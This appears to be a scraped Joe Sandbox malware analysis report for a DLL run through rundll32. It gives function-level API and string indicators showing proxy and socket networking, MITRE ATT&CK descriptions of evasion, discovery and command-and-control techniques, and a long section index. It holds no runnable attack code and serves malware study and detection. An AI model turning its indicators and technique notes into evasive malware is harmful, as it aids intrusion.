
Uniqueness

Uniqueness Score: -1.00%

Function 6CB076A0 Relevance: 2.5, APIs: 1, Instructions: 951
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f28b07eaf322c47a8d8ab8723d505ed74207203d18931860940b5701c8bf5c0
Instruction ID: 31d1dfb74149cb1064a9cba608b4aaac89865db1c8289438244b468b0a348d47
Opcode Fuzzy Hash: 2f28b07eaf322c47a8d8ab8723d505ed74207203d18931860940b5701c8bf5c0
Instruction Fuzzy Hash: FA62A17AB042508FDF08CE78C9A57EE7FF1EB4B324F245259C821A7795C6398A46CB11

Uniqueness

Uniqueness Score: -1.00%

Function 6CB02100 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32 ref: 6CB02137

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 026ea5a9f1f28dea75c50b2f970f0d72ba614447ecfb35c985cca707ff074e53
Instruction ID: 46e9e6d05e6a05d4bdd9bc88bf7b17263da1945d32470c3b7e06c6af2fa6b7f3
Opcode Fuzzy Hash: 026ea5a9f1f28dea75c50b2f970f0d72ba614447ecfb35c985cca707ff074e53
Instruction Fuzzy Hash: 71E052B4504209EFDB00DF58D14459DBBF4AF48314F108569F89C8B340D375AA589F86

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CB091D0 Relevance: 36.2, APIs: 18, Strings: 2, Instructions: 1216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.SHLWAPI(?,?), ref: 6CB092CA
StrStrIA.SHLWAPI(?,?,?,?,?,?,?,?,?,?), ref: 6CB093FB
StrStrIA.SHLWAPI(?,?,?,?), ref: 6CB09F0E
StrStrIA.SHLWAPI ref: 6CB09F91

Strings

://, xrefs: 6CB093EB, 6CB09F81
Proxy-Connection: , xrefs: 6CB09870, 6CB0A078

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID:
String ID: ://$Proxy-Connection:
API String ID: 0-1088596629
Opcode ID: 8436c75e04aeb81d5c98769b82dcb41cda67fb2138953b371b3de49b8ef27a2f
Instruction ID: ad35d98bc7029c1b9f89d943d935507ef7d1ed783e44c2fa5e0b7cf145c8cbb1
Opcode Fuzzy Hash: 8436c75e04aeb81d5c98769b82dcb41cda67fb2138953b371b3de49b8ef27a2f
Instruction Fuzzy Hash: 66A29C79B042548FCB04CF78C8A47EEBBF1EB4B320F258659D865AB790C635A949CF41

Uniqueness

Uniqueness Score: -1.00%

Function 6CB0AA20 Relevance: 14.4, APIs: 7, Strings: 2, Instructions: 894COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6CB0AB25
StrStrIA.SHLWAPI ref: 6CB0AB6F
StrStrIA.SHLWAPI ref: 6CB0AD0B
wsprintfA.USER32 ref: 6CB0B423
StrStrIA.SHLWAPI ref: 6CB0B47C
StrStrIA.SHLWAPI ref: 6CB0B4CB

Strings

%u:%u, xrefs: 6CB0AB0D, 6CB0B40B
Proxy-Authorization: Basic , xrefs: 6CB0AB5F, 6CB0B46C

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: wsprintf
String ID: %u:%u$Proxy-Authorization: Basic
API String ID: 2111968516-3249395766
Opcode ID: 0c7cfe36ff9354e7556ea8b664121eb648902bcb10bbf824c6eff366815fa192
Instruction ID: ff78a446ed2e87cbc3150e9bdd495ac4bb082142aae98ddecc01b3b64123abe0
Opcode Fuzzy Hash: 0c7cfe36ff9354e7556ea8b664121eb648902bcb10bbf824c6eff366815fa192
Instruction Fuzzy Hash: F162AA7AB142548FDB08CF7CC8A17EEBBF1EB4A314F248269D815AB390C6359A45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 6CB0B580 Relevance: 13.8, APIs: 8, Instructions: 1841networkCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6CB0B615
send.WS2_32 ref: 6CB0B656
recv.WS2_32 ref: 6CB0B67E
recv.WS2_32 ref: 6CB0B8CF
recv.WS2_32 ref: 6CB0CC4E

Part of subcall function 6CB05EA0: recv.WS2_32 ref: 6CB0607C
Part of subcall function 6CB05EA0: recv.WS2_32 ref: 6CB06296

send.WS2_32 ref: 6CB0CAA6
send.WS2_32 ref: 6CB0CDEF

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: recv$send$wsprintf
String ID:
API String ID: 1723285576-0
Opcode ID: c746534a21ba26aa79051b99e3e7aba551c85e04dc55e755e35501f071fdbc3c
Instruction ID: b0c8cb7f12c05e3dc15ed906137c77115779a366777df0d0e6b2229ee98ace3a
Opcode Fuzzy Hash: c746534a21ba26aa79051b99e3e7aba551c85e04dc55e755e35501f071fdbc3c
Instruction Fuzzy Hash: FEE2BE7AA442608FDB14DE38C8A53EA7FF1EB47320F249259C8659B7D1C3394A49CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6CB04CB0 Relevance: 3.3, APIs: 2, Instructions: 753stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32 ref: 6CB050A3
lstrcmpiA.KERNEL32 ref: 6CB0560F

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 7d278e8e5fc4354310728067f3f153bcff26cffa013b9a4e104c35e38a4c8087
Instruction ID: b7dd1c72165e14c83dfc3a447476549631369f535ed353de68793fed0005451b
Opcode Fuzzy Hash: 7d278e8e5fc4354310728067f3f153bcff26cffa013b9a4e104c35e38a4c8087
Instruction Fuzzy Hash: F042C27AB042548FDF08CE78C4A17EE7BF1EB1B364F245259C865A7791C2399A0ACF05

Uniqueness

Uniqueness Score: -1.00%

Function 6CB01040 Relevance: 2.2, Strings: 1, Instructions: 982COMMON

Download Yara Rule

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 6CB0176C

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID:
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 0-1713319389
Opcode ID: d97388b179ae6be0da75c9dd24b5c847decc2cffca8658d48b1de819a0dacb97
Instruction ID: 0d12ecae974b992e4e078db48636dabb91ee5e1ffd57d5dfb97375582035b02a
Opcode Fuzzy Hash: d97388b179ae6be0da75c9dd24b5c847decc2cffca8658d48b1de819a0dacb97
Instruction Fuzzy Hash: 5272BF7AB142558FDB08CA7CC8A13EE7FF2AB46324F188759D565DB7D1C2389A06CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6CB02150 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d127a492e4beab7580524baaf481c35dda19bcd90a794a6767d9a79c99d7f35
Instruction ID: 9d4ba6a08a9d2afc7f03490694be2e03780baf9746f722e11092976e89ae9810
Opcode Fuzzy Hash: 3d127a492e4beab7580524baaf481c35dda19bcd90a794a6767d9a79c99d7f35
Instruction Fuzzy Hash: 92E1927AE402148FDF08CE6CC5A57EE7FF1EB4A324F255219D925A77D0C2399A0ACB41

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RqrQG7s66x.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
RqrQG7s66x.dll

Function 6CB0EB50 Relevance: 41.7, APIs: 18, Strings: 5, Instructions: 1465
networkCOMMON

Function 6CB02CC0 Relevance: 20.5, APIs: 9, Strings: 2, Instructions: 1264
networkCOMMON

Function 6CB0A140 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 710
networkstringCOMMON

Function 6CB03D90 Relevance: 13.1, APIs: 8, Instructions: 1140
COMMON

Function 6CB064E0 Relevance: 12.5, APIs: 8, Instructions: 477
networkCOMMON

Function 6CB05640 Relevance: 11.2, APIs: 7, Instructions: 657
networkCOMMON

Function 6CB08300 Relevance: 9.4, APIs: 6, Instructions: 389
fileCOMMON

Function 6CB06AA0 Relevance: 9.4, APIs: 6, Instructions: 381
networkCOMMON

Function 6CB02650 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 553
networkCOMMON

Function 6CB01D10 Relevance: 4.8, APIs: 3, Instructions: 327
networkCOMMON

Function 6CB05EA0 Relevance: 3.4, APIs: 2, Instructions: 375
networkCOMMON

Function 6CB062E0 Relevance: 3.2, APIs: 2, Instructions: 170
networkCOMMON

Function 6CB076A0 Relevance: 2.5, APIs: 1, Instructions: 951
COMMON

Function 6CB02100 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 6CB091D0 Relevance: 36.2, APIs: 18, Strings: 2, Instructions: 1216
COMMON